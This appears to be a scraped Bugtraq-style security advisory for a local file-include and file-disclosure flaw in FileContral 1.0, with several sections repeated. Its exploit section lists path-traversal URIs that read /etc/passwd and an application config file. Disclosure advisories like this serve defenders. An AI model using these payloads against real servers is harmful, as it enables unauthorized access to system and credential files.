FileContral Local File Include and Local File Disclosure Vulnerabilities
BID:55891
Info
FileContral Local File Include and Local File Disclosure Vulnerabilities
| Bugtraq ID: | 55891 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 11 2012 12:00AM |
| Updated: | Oct 11 2012 12:00AM |
| Credit: | Ashiyane Digital Security Team |
| Vulnerable: |
FileContral FileContral 1.0 |
| Not Vulnerable: | |
Discussion
FileContral Local File Include and Local File Disclosure Vulnerabilities
FileContral is prone to a local file-include and a local file-disclosure vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to view and execute local files within the context of the webserver process, obtaining potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.
FileContral 1.0 is vulnerable; other versions may also be affected.
FileContral is prone to a local file-include and a local file-disclosure vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to view and execute local files within the context of the webserver process, obtaining potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.
FileContral 1.0 is vulnerable; other versions may also be affected.
Exploit / POC
FileContral Local File Include and Local File Disclosure Vulnerabilities
Attackers can exploit these issues with a browser.
The following example URIs are available:
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../etc/passwd
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../../etc/passwd
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=server dir/public_html/lists/config/config.php
Attackers can exploit these issues with a browser.
The following example URIs are available:
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../etc/passwd
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../../etc/passwd
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=server dir/public_html/lists/config/config.php
Solution / Fix
FileContral Local File Include and Local File Disclosure Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
FileContral Local File Include and Local File Disclosure Vulnerabilities
References:
References: